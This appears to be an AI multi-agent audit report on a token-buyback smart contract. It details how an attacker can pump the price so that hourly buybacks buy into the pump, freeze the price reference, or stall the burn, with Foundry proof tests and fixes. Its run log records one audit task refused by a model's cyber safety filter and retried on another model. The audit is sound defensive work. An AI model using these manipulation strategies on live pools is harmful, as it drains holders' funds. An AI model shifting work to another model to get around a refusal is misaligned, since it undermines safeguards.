report

Identity-md/research/blob/main/jobs/348884ab-fe4b-46f9-871d-d613c6b27c06/_identitymd/README.md

Four agents audited the code as it is at 2560653, each in one area, and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the code was changed or deployed.

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2 high3 low2 info

• 1.highThe reference keeps every buyback's own impact and comes down only 2%/day, so in ordinary operation (holders selling into the rises) or after any genuine fall it sits above the market and the pump-thecontracts/src/PepesBuyback.sol:163

          uint160 next = uint160(FullMath.mulDiv(refSqrtPrice, _sqrtPrice(), before));

  Merged from audit_economics finding 1, audit_permissions finding 2 and audit_math finding 2; all three reproduced.

  Root cause. Two rules combine. (1) Every buyback multiplies the reference by its own impact (line 163), about +1.9% in $Pepes price per buyback, up to 24 times a day, whether or not the market keeps that impact. (2) The only force that brings the reference back toward the market is poke(), at most 2% per day (lines 128-131). The guard (line 147) is one-sided: priceRiseBps() is 0 whenever the price is at or below the reference. So whenever the market ends up below the reference, the guard stops binding by the whole gap: a pump of up to (reference/market) x 1.02 passes, and every hourly buyback then buys into it, which is exactly the pump-then-series of audit ec4e3ea7 finding 1 that test_pumpThenSeriesStalls says is prevented.

  Two ways to reach that state, neither needing the attacker.

  (a) Ordinary operation, no crash (undocumented): a buyback lifts the price ~1.9%, a holder sells into the rise and the price gives the impact back, but the reference keeps it. With hourly buybacks the reference climbs up to ~45%/day in price against a 2%/day pull-down. Reproduced: after one day of 24 buybacks with a holder selling exactly the amount just burned after each (pool depth back at exactly 1,061.908 IMD), the reference sqrtPrice went from ~2.359e31 to 1.912e31, i.e. the reference price is ~52% above the market, and a 20%-of-depth pump still reads priceRiseBps() == 0.

  (b) A genuine fall (the README line 85 'residual'): after bob sells 35% of his bag the $Pepes price is well under half the reference. Each buyback rescales the reference by its own impact, so the ratio reference/market is preserved and only poke() closes it, at 2%/day: after a deep fall the window stays open for weeks, and the series keeps running at the low the whole time (guard inert). The longer it is open the more the series spends into a pump: with 24, 72 or 120 hours of honest hourly pokes+buybacks between the fall and eve's half-depth pump, her profit is 53.8, 85.1 and 134.6 IMD. The poke-truncation finding lets an attacker stop the pull-down entirely, and case (a) keeps re-opening the gap without any fall.

  Who loses: $Pepes holders. The buyback spends IMD from expired rewards at pumped prices and burns fewer $Pepes (18% fewer per IMD in the economics specialist's crash run); the attacker keeps 11% to 43% of what the series spends, after both 4% fees. The README calls the post-fall state a residual lasting 'until the reference has caught up (2% a day)'; that catch-up takes weeks after a deep fall and the window is profitable the whole time, and in case (a) the reference never catches up while buybacks run.

  Fix (design decision, preserves the guard's intent): the reference must not stay above the market. Options verified locally: (1) in poke(), follow a fall in $Pepes price at once and keep the 2%/day only on the way up (orientation: when imdIsCurrency0 a lower $Pepes price is a higher sqrtPrice: if (imdIsCurrency0 ? cur > ref : cur < ref) next = cur;). With that one line both proof tests pass (0 buybacks run, eve -16.7 and -12.2 IMD) and all 9 tests in test/PepesBuyback.t.sol still pass; trade-off: a single-transaction dump-poke-rebuy can then pull the reference down by the dump depth and stall the buyback for gap/2% days at the cost of 8% fees on the dumped amount (griefing, no gain; audit b803125e finding 5 class). (2) A bounded faster downward step (e.g. 24x the upward one) fixes case (a) but not a one-day-old deep fall (proof test 2 still fails). (3) Cap what the series may spend per rolling day (e.g. 3% of depth) so that holding a pump across the series costs more in fees than it captures, whatever the reference. (1) or (3), or both, resolve the finding.

  whole finding

  Setup as test/PepesBuyback.t.sol (launchpad A hosts '$Pepes', bob bought with 1,000 IMD, pool depth ~1,062 IMD, launchpad B's PepesBuyback buys through A's router).

  (a) No crash: mint one depth (1,062 IMD) to the buyback; for 24 hours: buybackAndBurnPepes, then bob sells exactly totalPepesBurned delta, warp 1 hour, poke(). Then eve buys 20% of depth, calls buybackAndBurnPepes every hour for 12 hours, sells everything. Expected (test_pumpThenSeriesStalls property): priceRiseBps() > 200 after the pump, 0 buybacks run, eve ends at or below her start. Actual: priceRiseBps() == 0 after the pump, 12 of 12 buybacks run spending 160.18 IMD, eve ends +29.07 IMD.

  (b) Crash: mint one depth to the buyback, one buyback (fresh reference), bob sells 35% of his bag, then 24 hours of hourly poke()+buybackAndBurnPepes by honest keepers. eve buys with depth/2, calls the buyback every hour for 24 hours, sells. Expected: stalled, eve loses. Actual: priceRiseBps() == 0 after the half-depth pump, 24 of 24 run spending 123.77 IMD, eve ends +53.79 IMD.

  Run: forge test --match-path test/scratch/ReferenceAboveMarketProof.t.sol -vv (both tests fail on commit 2560653; both pass with fix option 1).

  whole reproduction

• 2.highpoke() truncates its step to whole half-basis-points but always restarts the clock: pokes less than 864 s apart freeze the reference, so anyone (or a busy recycle bot) can stall the buyback indefinitecontracts/src/PepesBuyback.sol:128

          uint256 h = (REF_STEP_PER_DAY_BPS * dt) / (2 * 1 days);

  Merged from audit_economics finding 2, audit_flow finding 1, audit_permissions finding 1 and audit_math finding 1; all four reproduced (their four proofs all fail on this code for the stated reason).

  Root cause. Line 124 sets refTime = block.timestamp unconditionally, then line 128 computes h = 200 * dt / 172800 = dt / 864 in integer half-basis-points of sqrtPrice. For dt < 864 s, h == 0, lo == hi == ref and the reference does not move, yet the elapsed time has been consumed. Every poke discards dt mod 864 s: pokes every 10 minutes move nothing at all, pokes every 1,727 s follow at half speed, and even the hourly cadence the buyback itself uses gives h = 4 instead of 4.17 (1.92%/day, not 2%). poke() is permissionless and is also run by every PadToken.recycle of every v4 token (PadToken.sol line 329), so the state arises without an attacker whenever recycles land every few minutes, and can be forced by anyone for about 100 cheap transactions a day.

  Impact. Once the $Pepes price is more than 2% above the frozen reference (any organic rise, or a pump), buybackAndBurnPepes reverts PriceRisen on every call for as long as the pokes continue; the contract's promise that 'an organic rise or fall is followed at 2% a day' does not hold, and the recycled IMD, which can only leave through the burn swap, accumulates unspent. After a fall the same cadence keeps the reference above the market forever, which holds open the farmable window of the reference-above-market finding. Honest pokes cannot help: they also reset refTime with h == 0.

  Fix: do not discard the remainder. Compute the step at full precision, e.g. uint256 step = (ref * REF_STEP_PER_DAY_BPS * dt) / (2 * 1 days * 10_000); uint256 lo = ref - step; uint256 hi = ref + step; (ref < 2^160 so the product fits in 256 bits); verified locally: the proof passes and the 9 tests in test/PepesBuyback.t.sol still pass. Alternatively advance refTime only by the time actually credited (refTime += h * 864) or return before writing refTime when h == 0.

  whole finding

  Setup as test/PepesBuyback.t.sol; the buyback holds 100 IMD. eve buys 100 IMD of $Pepes and holds (priceRiseBps() = 1889). Then anyone calls poke() every 10 minutes for 30 days (4,320 calls, no trades). Expected (contract notice lines 36-40, test_organicRiseOnlyDelays which pokes daily and resumes in 8 days): the reference follows at 2%/day and the buyback resumes within about 10 days. Actual: refSqrtPrice is bit-identical before and after (23817539250915624842179591654741), priceRiseBps() is still 1889 and buybackAndBurnPepes reverts PriceRisen. Single step: with the price above the reference, warp 863 s and poke(): refTime == block.timestamp but refSqrtPrice is unchanged (reproduced in a scratch test).

  Run: forge test --match-path test/scratch/PokeTruncationProof.t.sol (fails on commit 2560653 with '30 days of pokes never moved the reference'; passes with the full-precision step).

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {PoolManager} from "v4-core/src/PoolManager.sol";
  import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
  import {TickMath} from "v4-core/src/libraries/TickMath.sol";
  import {PoolKey} from "v4-core/src/types/PoolKey.sol";
  import {Currency} from "v4-core/src/types/Currency.sol";
  
  import {PepesFamily} from "src/PepesFamily.sol";
  import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
  import {PepesBuyback} from "src/PepesBuyback.sol";
  import {PadToken} from "src/PadToken.sol";
  
  contract ProofIMD {
      string public name = "Identity.md";
      string public symbol = "IMD";
      uint8 public decimals = 18;
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      function mint(address to, uint256 amt) external {
          balanceOf[to] += amt;
      }
  
      function approve(address s, uint256 amt) external returns (bool) {
          allowance[msg.sender][s] = amt;
          return true;
      }
  
      function transfer(address to, uint256 amt) external returns (bool) {
          balanceOf[msg.sender] -= amt;
          balanceOf[to] += amt;
          return true;
      }
  
      function transferFrom(address f, address to, uint256 amt) external returns (bool) {
          if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
          balanceOf[f] -= amt;
          balanceOf[to] += amt;
          return true;
      }
  }
  
  /// @dev Only there so launchpad A (which hosts the "$Pepes" pool) can be deployed: its own buyback is never used.
  contract ProofWiring {
      PoolKey key;
  
      function setKey(PoolKey memory k) external {
          key = k;
      }
  
      function pad() external view returns (address) {
          return address(this);
      }
  
      function poolKey(address) external view returns (PoolKey memory) {
          return key;
      }
  }
  
  /// @dev "$Pepes" is a token launched on launchpad A (same 4% hook fee and single-sided curve as the live v1 pool);
  ///      launchpad B's PepesBuyback buys it through A's router, as production buys $Pepes through the v1 router.
  abstract contract ProofBase is Test {
      uint160 constant FLAGS = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
      int24 constant START_TICK = 161000; // ~100 IMD starting market cap
  
      PoolManager pm;
      ProofIMD imd;
      PepesFamilyRouter routerA;
      PadToken pepes;
      PepesBuyback buyback;
  
      address eve = makeAddr("eve");
      address bob = makeAddr("bob");
  
      function setUp() public {
          vm.warp(1_800_000_000);
          pm = new PoolManager(address(this));
          imd = new ProofIMD();
  
          ProofIMD other = new ProofIMD();
          ProofWiring w = new ProofWiring();
          (address c0, address c1) =
              address(other) < address(imd) ? (address(other), address(imd)) : (address(imd), address(other));
          PoolKey memory k = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 3000, 60, IHooks(address(0)));
          pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
          w.setKey(k);
  
          PepesFamily padA = _deployPad(address(other), address(w));
          routerA = PepesFamilyRouter(payable(padA.router()));
          pepes = PadToken(payable(padA.launch("Pepes", "PEPES", "", address(imd))));
          imd.mint(bob, 10_000e18);
          vm.startPrank(bob);
          imd.approve(address(routerA), type(uint256).max);
          pepes.approve(address(routerA), type(uint256).max);
          routerA.buy(address(pepes), 1_000e18, 0, block.timestamp); // gives the $Pepes pool some depth
          vm.stopPrank();
  
          buyback = PepesBuyback(_deployPad(address(pepes), address(routerA)).buyback());
  
          imd.mint(eve, 10_000e18);
          vm.startPrank(eve);
          imd.approve(address(routerA), type(uint256).max);
          pepes.approve(address(routerA), type(uint256).max);
          vm.stopPrank();
      }
  
      function _deployPad(address pepes_, address pepesRouter_) internal returns (PepesFamily) {
          bytes memory initCode = abi.encodePacked(
              type(PepesFamily).creationCode,
              abi.encode(
                  pm,
                  address(imd),
                  address(this),
                  address(this),
                  START_TICK,
                  PepesFamily.ImdEthPool(10_000, 100, address(0)),
                  pepes_,
                  pepesRouter_
              )
          );
          bytes32 h = keccak256(initCode);
          for (uint256 i; i < 500_000; i++) {
              address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
              if (uint160(a) & 0x3FFF != FLAGS) continue;
              address deployed;
              assembly {
                  deployed := create2(0, add(initCode, 0x20), mload(initCode), i)
              }
              require(deployed == a, "hook address");
              return PepesFamily(deployed);
          }
          revert("no salt");
      }
  
      function _tryBuyback() internal returns (bool ok) {
          try buyback.buybackAndBurnPepes(0, block.timestamp) {
              ok = true;
          } catch {}
      }
  
      function _depth() internal view returns (uint256) {
          return buyback.maxBuyback() * 100;
      }
  }
  
  contract PokeTruncationProof is ProofBase {
      /// The price sits ~19% above the reference. poke() is documented to follow at 2% a day, so 30 days are plenty.
      /// Here someone (anyone: poke is permissionless and every PadToken.recycle calls it) pokes every 10 minutes.
      function test_frequentPokesStillFollowTheMarket() public {
          imd.mint(address(buyback), 100e18);
          vm.prank(eve);
          routerA.buy(address(pepes), 100e18, 0, block.timestamp);
          assertGt(buyback.priceRiseBps(), 1_000, "price is well above the reference");
          uint160 ref0 = buyback.refSqrtPrice();
  
          for (uint256 i; i < 30 days / 10 minutes; i++) {
              vm.warp(block.timestamp + 10 minutes);
              buyback.poke();
          }
  
          assertTrue(buyback.refSqrtPrice() != ref0, "30 days of pokes never moved the reference");
          assertLe(buyback.priceRiseBps(), buyback.MAX_PRICE_RISE_BPS(), "2% a day for 30 days covers a 19% rise");
          buyback.buybackAndBurnPepes(0, block.timestamp);
          assertGt(buyback.totalImdSpent(), 0, "the buyback resumed");
      }
  }

  whole proof

• 3.lowA buyback attempt that fails the guard reverts its own poke, so 'poke runs inside every buyback' never holds when it matters: hourly attempts alone never un-stall the buybackcontracts/src/PepesBuyback.sol:147

          if (priceRiseBps() > MAX_PRICE_RISE_BPS) revert PriceRisen();

  Merged from audit_economics finding 3, audit_flow finding 2 and audit_math finding 3; reproduced.

  buybackAndBurnPepes calls poke() at line 146 and reverts PriceRisen at line 147 when the price is still more than 2% above the reference; the revert undoes the poke's writes to refSqrtPrice and refTime (the same holds for the TooSoon and BadAmount reverts). So the notice ('poke, also run by every recycle and buyback'), README line 85 and the comment on test_organicRiseOnlyDelays ('every recycle and buyback attempt') overstate what happens: a stalled buyback never advances the reference from its own attempts, and the natural integration (a keeper retrying buybackAndBurnPepes hourly) makes no progress ever. Only an explicit poke() or a PadToken.recycle that actually moves expired rewards moves the reference, and because one update counts at most one day, someone has to do that at least daily. test_organicRiseOnlyDelays passes only because its loop calls buyback.poke() explicitly.

  Fix: keep the poke when the guard fails, e.g. if (priceRiseBps() > MAX_PRICE_RISE_BPS) { _locked = 1; return 0; } (callers already treat 0 burned as nothing done; verified locally: the proof passes and the existing 9 tests pass), or document that upkeep must call poke() at least daily and have the website/keeper do it.

  whole finding

  Setup as test/PepesBuyback.t.sol; the buyback holds 100 IMD. eve buys 100 IMD of $Pepes (priceRiseBps() = 1889). A keeper calls buybackAndBurnPepes(0, block.timestamp) once an hour for 30 days and nothing else is called. Expected per the notice: the reference follows at 2%/day and the buyback resumes after about 8 days. Actual: 720 attempts all revert PriceRisen, refSqrtPrice never changes, totalImdSpent stays 0. Single step: warp 3 days, call buybackAndBurnPepes: it reverts and afterwards refTime and refSqrtPrice equal their values from before the call (refTime still 1800000000).

  Run: forge test --match-path test/scratch/FailedAttemptPokeProof.t.sol (fails on commit 2560653 with '720 hourly attempts never moved the reference').

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {PoolManager} from "v4-core/src/PoolManager.sol";
  import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
  import {TickMath} from "v4-core/src/libraries/TickMath.sol";
  import {PoolKey} from "v4-core/src/types/PoolKey.sol";
  import {Currency} from "v4-core/src/types/Currency.sol";
  
  import {PepesFamily} from "src/PepesFamily.sol";
  import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
  import {PepesBuyback} from "src/PepesBuyback.sol";
  import {PadToken} from "src/PadToken.sol";
  
  contract ProofIMD {
      string public name = "Identity.md";
      string public symbol = "IMD";
      uint8 public decimals = 18;
      mapping(address => uint256) public balanceOf;
      mapping(address => mapping(address => uint256)) public allowance;
  
      function mint(address to, uint256 amt) external {
          balanceOf[to] += amt;
      }
  
      function approve(address s, uint256 amt) external returns (bool) {
          allowance[msg.sender][s] = amt;
          return true;
      }
  
      function transfer(address to, uint256 amt) external returns (bool) {
          balanceOf[msg.sender] -= amt;
          balanceOf[to] += amt;
          return true;
      }
  
      function transferFrom(address f, address to, uint256 amt) external returns (bool) {
          if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
          balanceOf[f] -= amt;
          balanceOf[to] += amt;
          return true;
      }
  }
  
  /// @dev Only there so launchpad A (which hosts the "$Pepes" pool) can be deployed: its own buyback is never used.
  contract ProofWiring {
      PoolKey key;
  
      function setKey(PoolKey memory k) external {
          key = k;
      }
  
      function pad() external view returns (address) {
          return address(this);
      }
  
      function poolKey(address) external view returns (PoolKey memory) {
          return key;
      }
  }
  
  /// @dev "$Pepes" is a token launched on launchpad A (same 4% hook fee and single-sided curve as the live v1 pool);
  ///      launchpad B's PepesBuyback buys it through A's router, as production buys $Pepes through the v1 router.
  abstract contract ProofBase is Test {
      uint160 constant FLAGS = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
      int24 constant START_TICK = 161000; // ~100 IMD starting market cap
  
      PoolManager pm;
      ProofIMD imd;
      PepesFamilyRouter routerA;
      PadToken pepes;
      PepesBuyback buyback;
  
      address eve = makeAddr("eve");
      address bob = makeAddr("bob");
  
      function setUp() public {
          vm.warp(1_800_000_000);
          pm = new PoolManager(address(this));
          imd = new ProofIMD();
  
          ProofIMD other = new ProofIMD();
          ProofWiring w = new ProofWiring();
          (address c0, address c1) =
              address(other) < address(imd) ? (address(other), address(imd)) : (address(imd), address(other));
          PoolKey memory k = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 3000, 60, IHooks(address(0)));
          pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
          w.setKey(k);
  
          PepesFamily padA = _deployPad(address(other), address(w));
          routerA = PepesFamilyRouter(payable(padA.router()));
          pepes = PadToken(payable(padA.launch("Pepes", "PEPES", "", address(imd))));
          imd.mint(bob, 10_000e18);
          vm.startPrank(bob);
          imd.approve(address(routerA), type(uint256).max);
          pepes.approve(address(routerA), type(uint256).max);
          routerA.buy(address(pepes), 1_000e18, 0, block.timestamp); // gives the $Pepes pool some depth
          vm.stopPrank();
  
          buyback = PepesBuyback(_deployPad(address(pepes), address(routerA)).buyback());
  
          imd.mint(eve, 10_000e18);
          vm.startPrank(eve);
          imd.approve(address(routerA), type(uint256).max);
          pepes.approve(address(routerA), type(uint256).max);
          vm.stopPrank();
      }
  
      function _deployPad(address pepes_, address pepesRouter_) internal returns (PepesFamily) {
          bytes memory initCode = abi.encodePacked(
              type(PepesFamily).creationCode,
              abi.encode(
                  pm,
                  address(imd),
                  address(this),
                  address(this),
                  START_TICK,
                  PepesFamily.ImdEthPool(10_000, 100, address(0)),
                  pepes_,
                  pepesRouter_
              )
          );
          bytes32 h = keccak256(initCode);
          for (uint256 i; i < 500_000; i++) {
              address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
              if (uint160(a) & 0x3FFF != FLAGS) continue;
              address deployed;
              assembly {
                  deployed := create2(0, add(initCode, 0x20), mload(initCode), i)
              }
              require(deployed == a, "hook address");
              return PepesFamily(deployed);
          }
          revert("no salt");
      }
  
      function _tryBuyback() internal returns (bool ok) {
          try buyback.buybackAndBurnPepes(0, block.timestamp) {
              ok = true;
          } catch {}
      }
  
      function _depth() internal view returns (uint256) {
          return buyback.maxBuyback() * 100;
      }
  }
  
  contract FailedAttemptPokeProof is ProofBase {
      /// The price sits ~19% above the reference and a keeper calls the buyback every hour for 30 days, nothing else.
      /// "poke runs inside every buyback", so the reference should follow at 2% a day and the buyback resume.
      function test_hourlyAttemptsAloneEventuallyResume() public {
          imd.mint(address(buyback), 100e18);
          vm.prank(eve);
          routerA.buy(address(pepes), 100e18, 0, block.timestamp);
          assertGt(buyback.priceRiseBps(), 1_000, "price is well above the reference");
          uint160 ref0 = buyback.refSqrtPrice();
  
          for (uint256 i; i < 30 * 24; i++) {
              vm.warp(block.timestamp + 1 hours);
              _tryBuyback();
          }
  
          assertTrue(buyback.refSqrtPrice() != ref0, "720 hourly attempts never moved the reference");
          assertGt(buyback.totalImdSpent(), 0, "the buyback resumed within 30 days");
      }
  }

  whole proof

• 4.lowDip-poking: after a day without pokes, one sell-poke-rebuy transaction takes the whole 2% step downward and stalls the buyback for a day at ~0.16% of depth in fees (documented trade-off, quantified; ncontracts/src/PepesBuyback.sol:125

          uint256 cur = _sqrtPrice();

  Merged from audit_flow finding 3 and audit_permissions finding 4; reproduced. Answers the re-check question 'poking around a dip'.

  poke() moves the reference toward whatever the pool's spot sqrtPrice is in the poking transaction, by up to 2% (price) for one day of elapsed time; nothing requires the price to persist, and poke() is not blocked while the PoolManager is unlocked, so the bracket can also run inside an unlock with flash-accounted funds. Whoever pokes first after a day of silence takes the whole day's budget in their direction: sell about 2% of depth (price -3.6%), poke (reference -2%), rebuy to the previous price. priceRiseBps() is then just above 200 and the next buyback reverts PriceRisen until a later poke, a day on, moves the reference back. The cost is the two 4% hook fees on the dumped amount (1.76 IMD here, ~0.16% of depth), no position held, no gain: it is griefing of the burn. It is not cumulative: the reference can never be pushed below the dipped spot, and honest pokes (hourly) compete for the same elapsed-time budget, limiting the attack to dips at least as deep as the gap wanted (the flow specialist measured 60 of 72 hourly buybacks still running with hourly honest pokes and hourly 0.2% dips).

  test_dumpBracketDoesNotStall only covers a bracket one hour after the last update (step 0.08%), which is why it passes. The notice and README already accept that a bracketed dip moves the reference 'by at most 2% a day'; this is reported so the consequence (a repeatable, nearly free one-day stall whenever upkeep is sparse) is a conscious choice, and because the fix for the reference-above-market finding (following a fall at once) widens it to the dump depth.

  Mitigations if wanted: run poke() hourly from the keeper (bounds the step a bracketer can take to 0.08%); apply the price observed at the previous poke rather than the current one (store a candidate sqrtPrice on each poke and move toward the previous candidate), so moving the reference requires the manipulated price to persist until a later poke; skip the observation while poolManager.isUnlocked(), as PadToken.distribute does.

  whole finding

  Setup as test/PepesBuyback.t.sol; the buyback holds 100 IMD. eve buys 2% of depth (21 IMD) and holds; five daily pokes bring the reference to the market (priceRiseBps() == 0).

  One day later, in one transaction: eve sells her bag, calls poke(), buys back with 109% of the proceeds (restoring the price).

  Expected if dips were harmless: the next buyback runs.

  Actual: priceRiseBps() == 202 > 200, buybackAndBurnPepes reverts PriceRisen; eve's cost is 1.76 IMD (round-trip fees, ~0.16% of the 1,082 IMD depth) and she holds the same bag; a day later, after a poke, the buyback runs again.

  (Scratch test test_dipBracketAroundPoke, log output.)

  whole reproduction

• 5.lowPoke-then-guard ordering makes the effective band ~4% after an idle day, and any pre-buy inside the band held across the hourly series pays (bounded leak, ~1-3% of what the series spends)contracts/src/PepesBuyback.sol:146

          poke();

  Merged from audit_economics finding 4 and audit_permissions finding 3; reproduced.

  (a) buybackAndBurnPepes pokes first (line 146) and checks the guard second (line 147). When a day has passed since the last update, the poke moves the reference up to 2% toward a price pumped in the same transaction, and the guard then allows another 2%, so a pre-buy of about 2% of depth (+3.9% in price, priceRiseBps() 387) passes although the documented band is 2%. (b) From then on the reference follows each buyback's own impact, so every later buyback passes as well while the buyer simply holds: 24 buybacks of ~1.9% each appreciate the bag. test_pacedPreBuysDoNotPay only tests re-buying before every buyback, which stalls after the first; buying once and holding does pay.

  This is bounded (the buyback overpays by at most the band) and partly inherent to a public hourly schedule; it is reported so the bound is a conscious choice. If wanted: check the guard against the reference as it stood before this call's poke (keeps the band at the documented 2% after idle days); a smaller band with a correspondingly slower drift; or a daily cap on what the series spends, which also helps the reference-above-market finding.

  whole finding

  Setup as test/PepesBuyback.t.sol; the buyback holds one pool depth (1,061.9 IMD).

  (a) Warp 1 day. eve buys 2% of depth (21.24 IMD): priceRiseBps() == 387. 24 hourly buybacks follow, then she sells. Expected per the test suite's stated property ('riding the hourly series must not pay'): no profit. Actual: all 24 buybacks run (290.55 IMD spent) and eve ends +9.57 IMD (45% on her position).

  (b) Fresh reference (one buyback run), eve buys 0.5% of depth (5.31 IMD): priceRiseBps() == 95; 24 hourly buybacks run; she sells: +2.42 IMD on a 5.3 IMD stake after both 4% fees. (Scratch tests test_idleDayPreBuyRidesSeries and test_inBandPreBuy, log output.)

  whole reproduction

• 6.infoTrust assumption (verified, not a defect): buys through third-party routers credit tx.origin, so an ERC-4337 smart account's buys mark its bundler active; the ETH-router hookData change is otherwise ccontracts/src/PepesFamily.sol:356

              : tx.origin;

  From audit_permissions finding 5; confirmed by reading the code and the hookData paths. Answers the re-check question on the ETH router.

  Verified in this commit: PepesFamilyEthRouter passes abi.encode(user) only on the token-pool swaps (lines 135 and 149) and empty hookData on the IMD/ETH legs (lines 131 and 160), so a hook on the IMD/ETH pool sees no change; the PepesFamily hook decodes hookData only when sender is router or ethRouter and hookData.length == 32, and both are immutables set in the constructor; a third-party router cannot impersonate either because sender is the PoolManager's msg.sender; Trade.trader and markActive now receive the ETH-router user instead of tx.origin, matching the IMD router; PadToken.recycle's low-level call to poke() cannot block a recycle (poke makes no external calls besides PoolManager reads, cannot overflow since next is always below a uint160 value, and a failing or codeless target just yields ok == false).

  Remaining asymmetry: for swaps not sent by the two PepesFamily routers the hook records tx.origin. A smart-contract wallet trading through an aggregator via an ERC-4337 bundler has tx.origin == the bundler EOA, so markActive never touches the wallet and its rewards expire after 7 days of not claiming or sending even while it keeps buying. The NatSpec and README line 82 document this ('should claim (or send) at least weekly'); surface it in the UI.

  whole finding

  State: a token launched on the v4 pad; a smart account S buys through PoolSwapTest (any non-PepesFamily router) in a transaction whose tx.origin is bundler B.

  Expected by a user of S: S is active.

  Actual: lastActive[S] is unchanged (only its first-ever receipt set it); lastActive[B] is set.

  After 7 days recycle(S) moves S's older rewards to the buyback.

  (Read from PepesFamily.sol lines 354-358 and PadToken.markActive; the existing PepesFamily.t.sol router tests show the router path crediting the user.)

  whole reproduction

• 7.infoGuard tests never poke at sub-864 s cadence, never start from a reference above the market, and never hold a single in-band pre-buy across the series, so the defects above are outside the suitecontracts/test/PepesBuyback.t.sol:211

              buyback.poke();

  From audit_math finding 4; confirmed. test_organicRiseOnlyDelays pokes once a day (and un-stalls only because of this explicit poke, not through the buyback attempts the comment on line 200 credits); test_dumpBracketDoesNotStall brackets one hour after the last update; the hourly-series tests update at exactly one hour; every scenario starts with the reference at or above the market and immediately runs a buyback.

  Suggested additions: (a) poke every N seconds for N in {1, 60, 800} over 10 days after a 10-20% rise and assert the buyback resumes within the documented window; (b) the pump-then-series scenario after a day of buybacks with holders selling the burned amount, and after a 35% bag sale plus a day of hourly pokes, asserting runs == 0 and no attacker profit; (c) one 2%-of-depth pre-buy after an idle day held across 24 buybacks; (d) a sell-poke-rebuy bracket a day after the last update.

  whole finding

  forge test --match-path test/PepesBuyback.t.sol on commit 2560653: 9 passed.

  The scratch tests test/scratch/PokeTruncationProof.t.sol, test/scratch/ReferenceAboveMarketProof.t.sol and test/scratch/FailedAttemptPokeProof.t.sol exercise those inputs and fail.

  The full non-fork suite (125 tests) passes, so no regression of earlier fixed findings was observed.

1. posted1 h 54 minto the first attempt
2. reviewed
   #42Audit mathCodexrefusedRefused by Codex's safety filterretried on #125 (Claude)

   This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.

   ran oncodex · gpt-6-astra · 3 turns · 3m 28s

   submission7578d54ae63558e4db08a0f731e1e523c24cd2e7018ba075ba27159d834f2406

   device3311c48cd0280ed46316b4819e6983269b5000760c81621af0e5a350d2c46156

   started from25606530e1ef2f5f1b405e743067a6050a646808

   bundlenone

   changed · 0 filesnothing
3. reviewed
   #581Audit permissionsClaudebudget exhaustedon the agent's machine: wall-clock budget exhaustedretried on #880 (Claude)

   wall-clock budget exhausted

   ran onclaude · claude-fable-5-1 · 1h 54m

   submissiona0663694994e46e5f5d6fe1e648cdc6d43f49b8180898a8291091d7729895a45

   device75052237a39b6e1240106d4c537fd9b1cdacae7a0ac262da58b0451423d675f8

   started from25606530e1ef2f5f1b405e743067a6050a646808

   bundlenone

   changed · 0 filesnothing
4. reviewed
   #911Audit flowClaudebudget exhaustedon the agent's machine: wall-clock budget exhaustedretried on #244 (Claude)

   wall-clock budget exhausted

   ran onclaude · claude-fable-5-1 · 1h 54m

   submission3598b6c82f8188a6e13b79ef9bbb8d5bb6fafad3a9198bceb3b1b4604adda76c

   devicefba19b641cdd6f275fb382164abf16ca71302d794fe9ccd95cc70d46245b0058

   started from25606530e1ef2f5f1b405e743067a6050a646808

   bundlenone

   changed · 0 filesnothing
5. reviewed
   #1489Audit economicsClaude4 findings · 2 medium

   The audit is written to .imd-findings.json: four findings (two medium, one low, one info), all in contracts/src/PepesBuyback.sol. No repository files were changed; the scratch tests are removed, and the three proof tests are embedded in the findings file.

   The three proofs fail on the current code. Each passed against a patched copy outside the repo, but I did not run the full suite against those patches.

   Can the ratchet be gamed?

   Yes, in three ways:

   1. Reference above market disables the guard (medium, line 163). The reference rises about 1.9% with every buyback but only falls toward spot at 2% a day. After a crash, or simply when holders sell into the rise a buyback caused, it sits far above the market and a pump up to it no longer stalls anything.

      • Crash case: after a −30% move and five days of hourly pokes, eve buys 11% of depth, all 12 hourly buybacks run into her pump, and she ends +14.33 IMD. The buyback burns 18% fewer Pepes per IMD than without her.
      • No-crash case: after 24 normal buybacks, each followed by a holder selling the amount just burned, eve buys 20% of depth and the guard still reads 0. She ends +29.07 IMD of the 160.18 IMD spent.
      • The fix needs a design decision: letting the reference fall faster than it rises reopens some of the dip-bracket griefing from b803125e finding 5.

   2. Frequent pokes freeze the reference (medium, line 128). The step is dt / 864 in whole basis points, but refTime is reset on every call. Pokes less than 864 s apart move nothing and still consume the elapsed time.

      • With the price 18.9% above the reference, a poke every 10 minutes for 30 days leaves refSqrtPrice unchanged and the buyback still reverting.
      • Anyone can do this for the cost of a transaction every 14 minutes, and busy recycling does it unintentionally because every recycle pokes.
      • Computing the step at full precision fixes it.

   3. A failed buyback rolls back its own poke (low, line 147). PriceRisen reverts the poke made one line earlier, so a keeper that only calls the buyback never un-stalls it: 1,440 hourly attempts over 60 days ran zero buybacks. test_organicRiseOnlyDelays passes only because it calls poke() explicitly. Returning 0 instead of reverting keeps the poke.

